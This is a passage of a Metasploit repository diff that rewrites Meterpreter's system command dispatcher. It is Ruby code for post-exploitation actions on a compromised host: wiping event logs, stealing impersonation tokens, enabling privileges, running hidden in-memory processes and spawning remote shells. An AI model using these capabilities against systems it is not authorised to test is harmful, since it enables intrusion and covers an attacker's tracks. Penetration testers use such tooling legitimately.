  462. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
  463. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
  464. data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
  465. data/lib/rex/file.rb.ut.rb +0 -17
  466. data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
  467. data/lib/rex/nop/opty2.rb.ut.rb +0 -24
  468. data/lib/rex/parser/arguments.rb.ut.rb +0 -68
  469. data/lib/rex/parser/ini.rb.ut.rb +0 -30
  470. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
  471. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
  472. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
  473. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
  474. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
  475. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
  476. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
  477. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
  478. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
  479. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
  480. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
  481. data/lib/rex/proto.rb.ts.rb +0 -9
  482. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
  483. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
  484. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
  485. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
  486. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
  487. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
  488. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
  489. data/lib/rex/proto/drda.rb.ts.rb +0 -18
  490. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
  491. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
  492. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
  493. data/lib/rex/proto/http.rb.ts.rb +0 -13
  494. data/lib/rex/proto/http/client.rb.ut.rb +0 -96
  495. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
  496. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  497. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
  498. data/lib/rex/proto/http/header.rb.ut.rb +0 -47
  499. data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
  500. data/lib/rex/proto/http/request.rb.ut.rb +0 -215
  501. data/lib/rex/proto/http/response.rb.ut.rb +0 -150
  502. data/lib/rex/proto/http/server.rb.ut.rb +0 -80
  503. data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
  504. data/lib/rex/proto/rfb.rb.ut.rb +0 -40
  505. data/lib/rex/proto/smb.rb.ts.rb +0 -9
  506. data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
  507. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
  508. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
  509. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
  510. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
  511. data/lib/rex/service_manager.rb.ut.rb +0 -33
  512. data/lib/rex/socket.rb.ut.rb +0 -108
  513. data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
  514. data/lib/rex/socket/parameters.rb.ut.rb +0 -52
  515. data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
  516. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
  517. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
  518. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
  519. data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
  520. data/lib/rex/socket/tcp.rb.ut.rb +0 -65
  521. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
  522. data/lib/rex/socket/udp.rb.ut.rb +0 -45
  523. data/lib/rex/test.rb +0 -36
  524. data/lib/rex/text.rb.ut.rb +0 -193
  525. data/lib/rex/transformer.rb.ut.rb +0 -39
  526. data/lib/rex/ui/text/color.rb.ut.rb +0 -19
  527. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
  528. data/lib/rex/ui/text/table.rb.ut.rb +0 -56
@@ -13,587 +13,889 @@ module Ui
13
13
  ###
14
14
  class Console::CommandDispatcher::Stdapi::Sys
15
15
 
16
- Klass = Console::CommandDispatcher::Stdapi::Sys
17
-
18
- include Console::CommandDispatcher
19
-
20
- #
21
- # Options used by the 'execute' command.
22
- #
23
- @@execute_opts = Rex::Parser::Arguments.new(
24
- "-a" => [ true, "The arguments to pass to the command." ],
25
- "-c" => [ false, "Channelized I/O (required for interaction)." ],
26
- "-f" => [ true, "The executable command to run." ],
27
- "-h" => [ false, "Help menu." ],
28
- "-H" => [ false, "Create the process hidden from view." ],
29
- "-i" => [ false, "Interact with the process after creating it." ],
30
- "-m" => [ false, "Execute from memory." ],
31
- "-d" => [ true, "The 'dummy' executable to launch when using -m." ],
32
- "-t" => [ false, "Execute process with currently impersonated thread token"],
33
- "-k" => [ false, "Execute process on the meterpreters current desktop" ],
34
- "-s" => [ true, "Execute process in a given session as the session user" ])
35
-
36
- #
37
- # Options used by the 'reg' command.
38
- #
39
- @@reg_opts = Rex::Parser::Arguments.new(
40
- "-d" => [ true, "The data to store in the registry value." ],
41
- "-h" => [ false, "Help menu." ],
42
- "-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
43
- "-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
44
- "-v" => [ true, "The registry value name (E.g. Stuff)." ],
45
- "-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
46
- "-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
47
-
48
- #
49
- # List of supported commands.
50
- #
51
- def commands
52
- all = {
53
- "clearev" => "Clear the event log",
54
- "drop_token" => "Relinquishes any active impersonation token.",
55
- "execute" => "Execute a command",
56
- "getpid" => "Get the current process identifier",
57
- "getprivs" => "Attempt to enable all privileges available to the current process",
58
- "getuid" => "Get the user that the server is running as",
59
- "kill" => "Terminate a process",
60
- "ps" => "List running processes",
61
- "reboot" => "Reboots the remote computer",
62
- "reg" => "Modify and interact with the remote registry",
63
- "rev2self" => "Calls RevertToSelf() on the remote machine",
64
- "shell" => "Drop into a system command shell",
65
- "shutdown" => "Shuts down the remote computer",
66
- "steal_token" => "Attempts to steal an impersonation token from the target process",
67
- "sysinfo" => "Gets information about the remote system, such as OS",
68
- }
69
- reqs = {
70
- "clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
71
- "drop_token" => [ "stdapi_sys_config_drop_token" ],
72
- "execute" => [ "stdapi_sys_process_execute" ],
73
- "getpid" => [ "stdapi_sys_process_getpid" ],
74
- "getprivs" => [ "stdapi_sys_config_getprivs" ],
75
- "getuid" => [ "stdapi_sys_config_getuid" ],
76
- "kill" => [ "stdapi_sys_process_kill" ],
77
- "ps" => [ "stdapi_sys_process_get_processes" ],
78
- "reboot" => [ "stdapi_sys_power_exitwindows" ],
79
- "reg" => [
80
- "stdapi_registry_load_key",
81
- "stdapi_registry_unload_key",
82
- "stdapi_registry_open_key",
83
- "stdapi_registry_open_remote_key",
84
- "stdapi_registry_create_key",
85
- "stdapi_registry_delete_key",
86
- "stdapi_registry_close_key",
87
- "stdapi_registry_enum_key",
88
- "stdapi_registry_set_value",
89
- "stdapi_registry_query_value",
90
- "stdapi_registry_delete_value",
91
- "stdapi_registry_query_class",
92
- "stdapi_registry_enum_value",
93
- ],
94
- "rev2self" => [ "stdapi_sys_config_rev2self" ],
95
- "shell" => [ "stdapi_sys_process_execute" ],
96
- "shutdown" => [ "stdapi_sys_power_exitwindows" ],
97
- "steal_token" => [ "stdapi_sys_config_steal_token" ],
98
- "sysinfo" => [ "stdapi_sys_config_sysinfo" ],
99
- }
100
-
101
- all.delete_if do |cmd, desc|
102
- del = false
103
- reqs[cmd].each do |req|
104
- next if client.commands.include? req
105
- del = true
106
- break
107
- end
108
-
109
- del
110
- end
111
-
112
- all
113
- end
114
-
115
- #
116
- # Name for this dispatcher.
117
- #
118
- def name
119
- "Stdapi: System"
120
- end
121
-
122
- #
123
- # Executes a command with some options.
124
- #
125
- def cmd_execute(*args)
126
- if (args.length == 0)
127
- args.unshift("-h")
128
- end
129
-
130
- session = nil
131
- interact = false
132
- desktop = false
133
- channelized = nil
134
- hidden = nil
135
- from_mem = false
136
- dummy_exec = "cmd"
137
- cmd_args = nil
138
- cmd_exec = nil
139
- use_thread_token = false
140
-
141
- @@execute_opts.parse(args) { |opt, idx, val|
142
- case opt
143
- when "-a"
144
- cmd_args = val
145
- when "-c"
146
- channelized = true
147
- when "-f"
148
- cmd_exec = val
149
- when "-H"
150
- hidden = true
151
- when "-m"
152
- from_mem = true
153
- when "-d"
154
- dummy_exec = val
155
- when "-k"
156
- desktop = true
157
- when "-h"
158
- print(
159
- "Usage: execute -f file [options]\n\n" +
160
- "Executes a command on the remote machine.\n" +
161
- @@execute_opts.usage)
162
- return true
163
- when "-i"
164
- channelized = true
165
- interact = true
166
- when "-t"
167
- use_thread_token = true
168
- when "-s"
169
- session = val.to_i
170
- end
171
- }
172
-
173
- # Did we at least get an executable?
174
- if (cmd_exec == nil)
175
- print_error("You must specify an executable file with -f")
176
- return true
177
- end
178
-
179
- # Execute it
180
- p = client.sys.process.execute(cmd_exec, cmd_args,
181
- 'Channelized' => channelized,
182
- 'Desktop' => desktop,
183
- 'Session' => session,
184
- 'Hidden' => hidden,
185
- 'InMemory' => (from_mem) ? dummy_exec : nil,
186
- 'UseThreadToken' => use_thread_token)
187
-
188
- print_line("Process #{p.pid} created.")
189
- print_line("Channel #{p.channel.cid} created.") if (p.channel)
190
-
191
- if (interact and p.channel)
192
- shell.interact_with_channel(p.channel)
193
- end
194
- end
195
-
196
-
197
- #
198
- # Drop into a system shell as specified by %COMSPEC% or
199
- # as appropriate for the host.
200
- def cmd_shell(*args)
201
- case client.platform
202
- when /win/
203
- path = client.fs.file.expand_path("%COMSPEC%")
204
- path = (path and not path.empty?) ? path : "cmd.exe"
205
- cmd_execute("-f", path, "-c", "-H", "-i", "-t")
206
- when /linux/
207
- # Don't expand_path() this because it's literal anyway
208
- path = "/bin/sh"
209
- cmd_execute("-f", path, "-c", "-i")
210
- else
211
- # Then this is a multi-platform meterpreter (php or java), which
212
- # must special-case COMSPEC to return the system-specific shell.
213
- path = client.fs.file.expand_path("%COMSPEC%")
214
- # If that failed for whatever reason, guess it's unix
215
- path = (path and not path.empty?) ? path : "/bin/sh"
216
- cmd_execute("-f", path, "-c", "-i")
217
- end
218
- end
219
-
220
-
221
- #
222
- # Gets the process identifier that meterpreter is running in on the remote
223
- # machine.
224
- #
225
- def cmd_getpid(*args)
226
- print_line("Current pid: #{client.sys.process.getpid}")
227
-
228
- return true
229
- end
230
-
231
- #
232
- # Displays the user that the server is running as.
233
- #
234
- def cmd_getuid(*args)
235
- print_line("Server username: #{client.sys.config.getuid}")
236
- end
237
-
238
- #
239
- # Clears the event log
240
- #
241
- def cmd_clearev(*args)
242
-
243
- logs = ['Application', 'System', 'Security']
244
- logs << args
245
- logs.flatten!
246
-
247
- logs.each do |name|
248
- log = client.sys.eventlog.open(name)
249
- print_status("Wiping #{log.length} records from #{name}...")
250
- log.clear
251
- end
252
- end
253
-
254
- #
255
- # Kills one or more processes.
256
- #
257
- def cmd_kill(*args)
258
- if (args.length == 0)
259
- print_line(
260
- "Usage: kill pid1 pid2 pid3 ...\n\n" +
261
- "Terminate one or more processes.")
262
- return true
263
- end
264
-
265
- print_line("Killing: #{args.join(", ")}")
266
-
267
- client.sys.process.kill(*(args.map { |x| x.to_i }))
268
-
269
- return true
270
- end
271
-
272
- #
273
- # Lists running processes.
274
- #
275
- def cmd_ps(*args)
276
- processes = client.sys.process.get_processes
277
- if (processes.length == 0)
278
- print_line("No running processes were found.")
279
- else
280
- print_line
281
- print_line(processes.to_table("Indent" => 1).to_s)
282
- print_line
283
- end
284
- return true
285
- end
286
-
287
- #
288
- # Reboots the remote computer.
289
- #
290
- def cmd_reboot(*args)
291
- print_line("Rebooting...")
292
-
293
- client.sys.power.reboot
294
- end
295
-
296
- #
297
- # Modifies and otherwise interacts with the registry on the remote computer
298
- # by allowing the client to enumerate, open, modify, and delete registry
299
- # keys and values.
300
- #
301
- def cmd_reg(*args)
302
- # Extract the command, if any
303
- cmd = args.shift
304
-
305
- if (args.length == 0)
306
- args.unshift("-h")
307
- end
308
-
309
- # Initiailze vars
310
- key = nil
311
- value = nil
312
- data = nil
313
- type = nil
314
- wowflag = 0x0000
315
- rem = nil
316
-
317
- @@reg_opts.parse(args) { |opt, idx, val|
318
- case opt
319
- when "-h"
320
- print_line(
321
- "Usage: reg [command] [options]\n\n" +
322
- "Interact with the target machine's registry.\n" +
323
- @@reg_opts.usage +
324
- "COMMANDS:\n\n" +
325
- " enumkey Enumerate the supplied registry key [-k <key>]\n" +
326
- " createkey Create the supplied registry key [-k <key>]\n" +
327
- " deletekey Delete the supplied registry key [-k <key>]\n" +
328
- " queryclass Queries the class of the supplied key [-k <key>]\n" +
329
- " setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
330
- " deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
331
- " queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
332
- return false
333
- when "-k"
334
- key = val
335
- when "-v"
336
- value = val
337
- when "-t"
338
- type = val
339
- when "-d"
340
- data = val
341
- when "-r"
342
- rem = val
343
- when "-w"
344
- if val == '64'
345
- wowflag = KEY_WOW64_64KEY
346
- elsif val == '32'
347
- wowflag = KEY_WOW64_32KEY
348
- end
349
- end
350
- }
351
-
352
- # All commands require a key.
353
- if (key == nil)
354
- print_error("You must specify a key path (-k)")
355
- return false
356
- end
357
-
358
- # Split the key into its parts
359
- root_key, base_key = client.sys.registry.splitkey(key)
360
-
361
- begin
362
- # Rock it
363
- case cmd
364
- when "enumkey"
365
-
366
- open_key = nil
367
- if not rem
368
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
369
- else
370
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
371
- if remote_key
372
- open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
373
- end
374
- end
375
-
376
- print_line(
377
- "Enumerating: #{key}\n")
378
-
379
- keys = open_key.enum_key
380
- vals = open_key.enum_value
381
-
382
- if (keys.length > 0)
383
- print_line(" Keys (#{keys.length}):\n")
384
-
385
- keys.each { |subkey|
386
- print_line("\t#{subkey}")
387
- }
388
-
389
- print_line
390
- end
391
-
392
- if (vals.length > 0)
393
- print_line(" Values (#{vals.length}):\n")
394
-
395
- vals.each { |val|
396
- print_line("\t#{val.name}")
397
- }
398
-
399
- print_line
400
- end
401
-
402
- if (vals.length == 0 and keys.length == 0)
403
- print_line("No children.")
404
- end
405
-
406
- when "createkey"
407
- open_key = nil
408
- if not rem
409
- open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
410
- else
411
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
412
- if remote_key
413
- open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
414
- end
415
- end
416
-
417
- print_line("Successfully created key: #{key}")
418
-
419
- when "deletekey"
420
- open_key = nil
421
- if not rem
422
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
423
- else
424
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
425
- if remote_key
426
- open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
427
- end
428
- end
429
- open_key.delete_key(base_key)
430
-
431
- print_line("Successfully deleted key: #{key}")
432
-
433
- when "setval"
434
- if (value == nil or data == nil)
435
- print_error("You must specify both a value name and data (-v, -d).")
436
- return false
437
- end
438
-
439
- type = "REG_SZ" if (type == nil)
440
-
441
- open_key = nil
442
- if not rem
443
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
444
- else
445
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
446
- if remote_key
447
- open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
448
- end
449
- end
450
-
451
- open_key.set_value(value, client.sys.registry.type2str(type), data)
452
-
453
- print_line("Successful set #{value}.")
454
-
455
- when "deleteval"
456
- if (value == nil)
457
- print_error("You must specify a value name (-v).")
458
- return false
459
- end
460
-
461
- open_key = nil
462
- if not rem
463
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
464
- else
465
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
466
- if remote_key
467
- open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
468
- end
469
- end
470
-
471
- open_key.delete_value(value)
472
-
473
- print_line("Successfully deleted #{value}.")
474
-
475
- when "queryval"
476
- if (value == nil)
477
- print_error("You must specify a value name (-v).")
478
- return false
479
- end
480
-
481
- open_key = nil
482
- if not rem
483
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
484
- else
485
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
486
- if remote_key
487
- open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
488
- end
489
- end
490
-
491
- v = open_key.query_value(value)
492
-
493
- print(
494
- "Key: #{key}\n" +
495
- "Name: #{v.name}\n" +
496
- "Type: #{v.type_to_s}\n" +
497
- "Data: #{v.data}\n")
498
-
499
- when "queryclass"
500
- open_key = nil
501
- if not rem
502
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
503
- else
504
- remote_key = client.sys.registry.open_remote_key(rem, root_key)
505
- if remote_key
506
- open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
507
- end
508
- end
509
-
510
- data = open_key.query_class
511
-
512
- print("Data: #{data}\n")
513
- else
514
- print_error("Invalid command supplied: #{cmd}")
515
- end
516
- ensure
517
- open_key.close if (open_key)
518
- end
519
- end
520
-
521
- #
522
- # Calls RevertToSelf() on the remote machine.
523
- #
524
- def cmd_rev2self(*args)
525
- client.sys.config.revert_to_self
526
- end
527
-
528
- def cmd_getprivs_help
529
- print_line "Usage: getprivs"
530
- print_line
531
- print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
532
- print_line "current process. Note that this only enables existing privs and does not change"
533
- print_line "users or tokens."
534
- print_line
535
- print_line "See also: steal_token, getsystem"
536
- print_line
537
- end
538
-
539
- #
540
- # Obtains as many privileges as possible on the target machine.
541
- #
542
- def cmd_getprivs(*args)
543
- if args.include? "-h"
544
- cmd_getprivs_help
545
- end
546
- print_line("=" * 60)
547
- print_line("Enabled Process Privileges")
548
- print_line("=" * 60)
549
- client.sys.config.getprivs.each do |priv|
550
- print_line(" #{priv}")
551
- end
552
- print_line("")
553
- end
554
-
555
- #
556
- # Tries to steal the primary token from the target process.
557
- #
558
- def cmd_steal_token(*args)
559
- if(args.length != 1 or args[0] == "-h")
560
- print_error("Usage: steal_token [pid]")
561
- return
562
- end
563
- print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
564
- end
565
-
566
- #
567
- # Drops any assumed token.
568
- #
569
- def cmd_drop_token(*args)
570
- print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
571
- end
572
-
573
- #
574
- # Displays information about the remote system.
575
- #
576
- def cmd_sysinfo(*args)
577
- info = client.sys.config.sysinfo
578
- width = "Meterpreter".length
579
- info.keys.each { |k| width = k.length if k.length > width and info[k] }
580
-
581
- info.each_pair do |key, value|
582
- print_line("#{key.ljust(width+1)}: #{value}") if value
583
- end
584
- print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
585
-
586
- return true
587
- end
588
-
589
- #
590
- # Shuts down the remote computer.
591
- #
592
- def cmd_shutdown(*args)
593
- print_line("Shutting down...")
594
-
595
- client.sys.power.shutdown
596
- end
16
+ Klass = Console::CommandDispatcher::Stdapi::Sys
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ #
21
+ # Options used by the 'execute' command.
22
+ #
23
+ @@execute_opts = Rex::Parser::Arguments.new(
24
+ "-a" => [ true, "The arguments to pass to the command." ],
25
+ "-c" => [ false, "Channelized I/O (required for interaction)." ],
26
+ "-f" => [ true, "The executable command to run." ],
27
+ "-h" => [ false, "Help menu." ],
28
+ "-H" => [ false, "Create the process hidden from view." ],
29
+ "-i" => [ false, "Interact with the process after creating it." ],
30
+ "-m" => [ false, "Execute from memory." ],
31
+ "-d" => [ true, "The 'dummy' executable to launch when using -m." ],
32
+ "-t" => [ false, "Execute process with currently impersonated thread token"],
33
+ "-k" => [ false, "Execute process on the meterpreters current desktop" ],
34
+ "-s" => [ true, "Execute process in a given session as the session user" ])
35
+
36
+ #
37
+ # Options used by the 'reboot' command.
38
+ #
39
+ @@reboot_opts = Rex::Parser::Arguments.new(
40
+ "-h" => [ false, "Help menu." ],
41
+ "-f" => [ true, "Force a reboot, valid values [1|2]" ])
42
+
43
+ #
44
+ # Options used by the 'shutdown' command.
45
+ #
46
+ @@shutdown_opts = Rex::Parser::Arguments.new(
47
+ "-h" => [ false, "Help menu." ],
48
+ "-f" => [ true, "Force a shutdown, valid values [1|2]" ])
49
+
50
+ #
51
+ # Options used by the 'reg' command.
52
+ #
53
+ @@reg_opts = Rex::Parser::Arguments.new(
54
+ "-d" => [ true, "The data to store in the registry value." ],
55
+ "-h" => [ false, "Help menu." ],
56
+ "-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
57
+ "-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
58
+ "-v" => [ true, "The registry value name (E.g. Stuff)." ],
59
+ "-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
60
+ "-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
61
+
62
+ #
63
+ # Options for the 'ps' command.
64
+ #
65
+ @@ps_opts = Rex::Parser::Arguments.new(
66
+ "-h" => [ false, "Help menu." ],
67
+ "-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
68
+ "-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ],
69
+ "-s" => [ false, "Show only SYSTEM processes" ],
70
+ "-U" => [ true, "Filters processes on the user using the supplied RegEx" ])
71
+
72
+ #
73
+ # Options for the 'suspend' command.
74
+ #
75
+ @@suspend_opts = Rex::Parser::Arguments.new(
76
+ "-h" => [ false, "Help menu." ],
77
+ "-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
78
+ "-r" => [ false, "Resumes the target processes instead of suspending" ])
79
+
80
+ #
81
+ # List of supported commands.
82
+ #
83
+ def commands
84
+ all = {
85
+ "clearev" => "Clear the event log",
86
+ "drop_token" => "Relinquishes any active impersonation token.",
87
+ "execute" => "Execute a command",
88
+ "getpid" => "Get the current process identifier",
89
+ "getprivs" => "Attempt to enable all privileges available to the current process",
90
+ "getuid" => "Get the user that the server is running as",
91
+ "getenv" => "Get one or more environment variable values",
92
+ "kill" => "Terminate a process",
93
+ "ps" => "List running processes",
94
+ "reboot" => "Reboots the remote computer",
95
+ "reg" => "Modify and interact with the remote registry",
96
+ "rev2self" => "Calls RevertToSelf() on the remote machine",
97
+ "shell" => "Drop into a system command shell",
98
+ "shutdown" => "Shuts down the remote computer",
99
+ "steal_token" => "Attempts to steal an impersonation token from the target process",
100
+ "suspend" => "Suspends or resumes a list of processes",
101
+ "sysinfo" => "Gets information about the remote system, such as OS",
102
+ }
103
+ reqs = {
104
+ "clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
105
+ "drop_token" => [ "stdapi_sys_config_drop_token" ],
106
+ "execute" => [ "stdapi_sys_process_execute" ],
107
+ "getpid" => [ "stdapi_sys_process_getpid" ],
108
+ "getprivs" => [ "stdapi_sys_config_getprivs" ],
109
+ "getuid" => [ "stdapi_sys_config_getuid" ],
110
+ "getenv" => [ "stdapi_sys_config_getenv" ],
111
+ "kill" => [ "stdapi_sys_process_kill" ],
112
+ "ps" => [ "stdapi_sys_process_get_processes" ],
113
+ "reboot" => [ "stdapi_sys_power_exitwindows" ],
114
+ "reg" => [
115
+ "stdapi_registry_load_key",
116
+ "stdapi_registry_unload_key",
117
+ "stdapi_registry_open_key",
118
+ "stdapi_registry_open_remote_key",
119
+ "stdapi_registry_create_key",
120
+ "stdapi_registry_delete_key",
121
+ "stdapi_registry_close_key",
122
+ "stdapi_registry_enum_key",
123
+ "stdapi_registry_set_value",
124
+ "stdapi_registry_query_value",
125
+ "stdapi_registry_delete_value",
126
+ "stdapi_registry_query_class",
127
+ "stdapi_registry_enum_value",
128
+ ],
129
+ "rev2self" => [ "stdapi_sys_config_rev2self" ],
130
+ "shell" => [ "stdapi_sys_process_execute" ],
131
+ "shutdown" => [ "stdapi_sys_power_exitwindows" ],
132
+ "steal_token" => [ "stdapi_sys_config_steal_token" ],
133
+ "suspend" => [ "stdapi_sys_process_attach"],
134
+ "sysinfo" => [ "stdapi_sys_config_sysinfo" ],
135
+ }
136
+
137
+ all.delete_if do |cmd, desc|
138
+ del = false
139
+ reqs[cmd].each do |req|
140
+ next if client.commands.include? req
141
+ del = true
142
+ break
143
+ end
144
+
145
+ del
146
+ end
147
+
148
+ all
149
+ end
150
+
151
+ #
152
+ # Name for this dispatcher.
153
+ #
154
+ def name
155
+ "Stdapi: System"
156
+ end
157
+
158
+ #
159
+ # Executes a command with some options.
160
+ #
161
+ def cmd_execute(*args)
162
+ if (args.length == 0)
163
+ args.unshift("-h")
164
+ end
165
+
166
+ session = nil
167
+ interact = false
168
+ desktop = false
169
+ channelized = nil
170
+ hidden = nil
171
+ from_mem = false
172
+ dummy_exec = "cmd"
173
+ cmd_args = nil
174
+ cmd_exec = nil
175
+ use_thread_token = false
176
+
177
+ @@execute_opts.parse(args) { |opt, idx, val|
178
+ case opt
179
+ when "-a"
180
+ cmd_args = val
181
+ when "-c"
182
+ channelized = true
183
+ when "-f"
184
+ cmd_exec = val
185
+ when "-H"
186
+ hidden = true
187
+ when "-m"
188
+ from_mem = true
189
+ when "-d"
190
+ dummy_exec = val
191
+ when "-k"
192
+ desktop = true
193
+ when "-h"
194
+ print(
195
+ "Usage: execute -f file [options]\n\n" +
196
+ "Executes a command on the remote machine.\n" +
197
+ @@execute_opts.usage)
198
+ return true
199
+ when "-i"
200
+ channelized = true
201
+ interact = true
202
+ when "-t"
203
+ use_thread_token = true
204
+ when "-s"
205
+ session = val.to_i
206
+ end
207
+ }
208
+
209
+ # Did we at least get an executable?
210
+ if (cmd_exec == nil)
211
+ print_error("You must specify an executable file with -f")
212
+ return true
213
+ end
214
+
215
+ # Execute it
216
+ p = client.sys.process.execute(cmd_exec, cmd_args,
217
+ 'Channelized' => channelized,
218
+ 'Desktop' => desktop,
219
+ 'Session' => session,
220
+ 'Hidden' => hidden,
221
+ 'InMemory' => (from_mem) ? dummy_exec : nil,
222
+ 'UseThreadToken' => use_thread_token)
223
+
224
+ print_line("Process #{p.pid} created.")
225
+ print_line("Channel #{p.channel.cid} created.") if (p.channel)
226
+
227
+ if (interact and p.channel)
228
+ shell.interact_with_channel(p.channel)
229
+ end
230
+ end
231
+
232
+
233
+ #
234
+ # Drop into a system shell as specified by %COMSPEC% or
235
+ # as appropriate for the host.
236
+ def cmd_shell(*args)
237
+ case client.platform
238
+ when /win/
239
+ path = client.fs.file.expand_path("%COMSPEC%")
240
+ path = (path and not path.empty?) ? path : "cmd.exe"
241
+
242
+ # attempt the shell with thread impersonation
243
+ begin
244
+ cmd_execute("-f", path, "-c", "-H", "-i", "-t")
245
+ rescue
246
+ # if this fails, then we attempt without impersonation
247
+ print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
248
+ cmd_execute("-f", path, "-c", "-H", "-i")
249
+ end
250
+ when /linux/
251
+ # Don't expand_path() this because it's literal anyway
252
+ path = "/bin/sh"
253
+ cmd_execute("-f", path, "-c", "-i")
254
+ else
255
+ # Then this is a multi-platform meterpreter (php or java), which
256
+ # must special-case COMSPEC to return the system-specific shell.
257
+ path = client.fs.file.expand_path("%COMSPEC%")
258
+ # If that failed for whatever reason, guess it's unix
259
+ path = (path and not path.empty?) ? path : "/bin/sh"
260
+ cmd_execute("-f", path, "-c", "-i")
261
+ end
262
+ end
263
+
264
+
265
+ #
266
+ # Gets the process identifier that meterpreter is running in on the remote
267
+ # machine.
268
+ #
269
+ def cmd_getpid(*args)
270
+ print_line("Current pid: #{client.sys.process.getpid}")
271
+
272
+ return true
273
+ end
274
+
275
+ #
276
+ # Displays the user that the server is running as.
277
+ #
278
+ def cmd_getuid(*args)
279
+ print_line("Server username: #{client.sys.config.getuid}")
280
+ end
281
+
282
+ #
283
+ # Get the value of one or more environment variables from the target.
284
+ #
285
+ def cmd_getenv(*args)
286
+ vars = client.sys.config.getenvs(*args)
287
+
288
+ if vars.length == 0
289
+ print_error("None of the specified environment variables were found/set.")
290
+ else
291
+ table = Rex::Ui::Text::Table.new(
292
+ 'Header' => 'Environment Variables',
293
+ 'Indent' => 0,
294
+ 'SortIndex' => 1,
295
+ 'Columns' => [
296
+ 'Variable', 'Value'
297
+ ]
298
+ )
299
+
300
+ vars.each do |var, val|
301
+ table << [ var, val ]
302
+ end
303
+
304
+ print_line
305
+ print_line(table.to_s)
306
+ end
